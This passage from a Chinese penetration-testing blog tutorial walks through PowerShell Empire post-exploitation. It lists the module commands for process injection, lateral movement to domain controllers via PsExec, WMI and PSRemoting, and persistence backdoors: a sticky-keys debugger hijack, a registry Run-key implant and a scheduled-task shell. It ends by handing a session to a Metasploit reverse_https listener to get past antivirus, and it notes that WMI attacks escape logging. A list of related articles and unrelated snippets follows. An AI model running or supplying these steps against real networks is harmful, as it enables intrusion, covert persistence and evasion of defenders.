会话注入
我们可以使用usemodule management/psinject模块来进程注入,获取权限
设置下Listeners和ProcID这2个参数,这里的ProcID就是之前的CMD的pid,反弹回域用户权限shell
usemodule management/psinject
set Listener Micr067
set ProcID 3768
execute
 
 
3.Invoke-PsExec
PsExec缺点是基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。
优点是可以直接返回SYSTEM权限。
使用该模块的前提是已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,有个机器名为WIN-PC2的服务器,如下图所示。
使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器
这里要设置下机器名和监听,注意这里的机器名是机器的全名,命令执行完毕成功获得新的session
set ComputerName WIN-DC.payload.com
set Listener Micr067
execute
因为我上个session是管理员权限,使用psexec模块直接将管理员权限提升到system权限
4.Invoke-WMI
WMI比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。
usemodule lateral_movement/invoke_wmi
set Listener Micr067
execute
 
WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块,是使用WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe(粘滞键,五下shift可触发),narrator.exe(文本转语音,Utilman接口激活)、Utilman.exe(windows辅助管理器,Win+U启用),Osk.exe(虚拟键盘,Utilman接口启用)、Magnify.exe(放大镜,Utilman接口启用)。相关配置参数如下:
5.Powershell Remoting
PowerShell remoting是Powershell的远程管理功能,开启Windows远程管理服务WinRM会监听5985端口,该服务默认在Windows Server 2012中是启动的,在Windows Server 2003、2008和2008 R2需要通过手动启动。
如果目标主机启用了PSRemoting,或者拥有启用它的权限的凭据,则可以使用他来进行横向渗透,
 
开启PowerShell remoting功能
Enable-PSRemoting
usemodule lateral_movement/invoke_psremoting
set ComputerName WIN-PC2.payload.com
set Listener Micr067
execute
 
0×08. 后门
1.权限持久性劫持shift后门
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName WIN-DC.payload.com
set TargetBinary sethc.exe
execute
运行后,在目标主机远程登录窗口按5次shift即可触发后门,即可进入cmd命令窗口。
 
注意:sethc.exe也可替换为以下选项。
A.Utilman.exe(快捷键为: Win + U)
B.osk.exe(屏幕上的键盘Win + U启动再选择)
C.Narrator.exe (启动讲述人Win + U启动再选择)
D.Magnify.exe(放大镜Win + U启动再选择)
 
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令
usemodule persistence/userland/registry
set Listener Micr067
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
运行后当我们登陆系统时候就会运行,反弹回来
 
3.计划任务获得系统权限
在实际渗透中,运行该模块时杀软会有提示。
usemodule persistence/elevated/schtasks
Set DailyTime 22:50
set Listener Micr067
execute
命令执行完毕返回一个高权限的shell
这里如果把set RegPath 的参数改为HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run,那么就会在22:35分添加一个注册表注入后门。
 
0×09. Empire反弹回Metasploit
实际渗透中,当拿到webshell上传的MSF客户端无法绕过目标机杀软时,可以使用powershell来绕过也可以执行Empire的payload来绕过,成功之后再使用Empire的模块将其反弹回Metasploit。
usemodule code_execution/invoke_shellcode
set Lhost 192.168.190.133 # Lhost为msf所在主机ip
set Lport 1521
execute
 
在MSF上设置监听,运行后,就可以收到Empire反弹回来的shell了
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost 192.168.190.133
set lport 1521
run
 
 
 

PowerShell渗透--Empire(三)的更多相关文章

  1. PowerShell渗透--Empire

    0x00 简介 Empire是一款针对Windows平台的,使用PowerShell脚本作为攻击载荷的渗透攻击框架代码具有从stager生成,提权到渗透维持的一系列功能,无需powershell.ex ...

  2. PowerShell渗透--Empire(二)

    权限提升 Bypass UAC usemodule powershell/privesc/bypassuac 设置listener execute list查看 usemodule powershel ...

  3. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  4. powershell渗透-信息收集命令

    powershell渗透-信息收集命令 本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助. 该列表包括各种开发后的单行 ...

  5. Powershell渗透测试系列–进阶篇

    原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html i春秋作家:anyedt 0×00 引言 经过基础篇的学习我们已经对powershell有了一个 ...

  6. 【转】PowerShell入门(三):如何快速地掌握PowerShell?

    转至:http://www.cnblogs.com/ceachy/archive/2013/02/01/HowToLearnPowerShell.html 如何快速地掌握PowerShell呢?总的来 ...

  7. msf客户端渗透(三):提权、图形化payload

    对普通权限session提权 生成一个木马 开启Apache服务 将木马上传网页 被攻击者从这个网页上获取到这个木马 攻击者开启msf侦听 当被攻击者双击这个木马文件时 攻击者就获取到一个sessio ...

  8. Vulnhub靶场渗透练习(三) bulldog

    拿到靶场后先对ip进行扫描 获取ip  和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...

  9. Final——PowerShell Empire

    一.介绍 Empire是一款针对Windows平台的.使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成.提权到渗透维持的一系列功能.Empire实现了无需powers ...

随机推荐

  1. 使用T2表中的值替换T1表的值

    描述:现在有两张表,T1由Key和Value两个字段,T2也有Key和Value两个字段 当T1中的Key在T2表中存在时,更新使用T2表中对用的Value 值替换T1中的VAlue update A ...

  2. Python学习-is和==区别, encode和decode

    一.is 和 == 介绍 1. is  比较的是两个对象的内存地址是否相同,它们是不是同一个对象. 2. ==  比较的是两个对象的内容是否相同. 在使用is前,先介绍Python的一个内置函数id( ...

  3. Redis数据库安装与配置调试

    主要培养自我对Redis数据库安装能力, 并且进行个性化的数据库配置.掌握本实验的重点,即在于数据库的安装与启动参数的配置.同时,理解NOSQL数据库的体系结构. ①下载Redis安装包进行数据库平台 ...

  4. Redis 主从,哨兵,集群实战

    下载地址及版本说明 Redis 各版本下载地址: http://download.redis.io/releases/ 版本说明:一般来说版本号第二位,偶数是稳定版本,奇数是在开发中的版本 本文基于R ...

  5. Spring 梳理 - 视图解析器 VS 视图(View,ViewResolver)

    View View接口表示一个响应给用户的视图,例如jsp文件,pdf文件,html文件等 该接口只有两个方法定义,分别表明该视图的ContentType和如何被渲染 Spring中提供了丰富的视图支 ...

  6. let与var的区别

    1.let作用域局限于当前代码块 文章中//后面的均为打印结果 代码1: { var str1 = "小花"; let str2 = "小明"; console ...

  7. layui内部定义的function,外部调用时候,提示某函数未定义现象解决方案

    1.引入layui.all.js文件 <script type="text/javascript" src="${pageContext.request.conte ...

  8. git 查看分支

    1.查看本地分支 git branch 2.查看所有分支 git branch -a 2.查看所有分支及对应版本信息 git branch -va

  9. 【Java】登录验证码

    Html: <input id="verifyCode" name="verifyCode" type="text" value=&q ...

  10. 使用LitePal建立表关联

    关联关系的基础知识   喜欢把所有的代码都写在一个类里的程序员肯定是个新手.没错,任何一个像样的程序都不可能仅仅只有一个类的,同样地,任何一个像样的数据库也不可能仅仅只有一张表.我们都知道,在面向对象 ...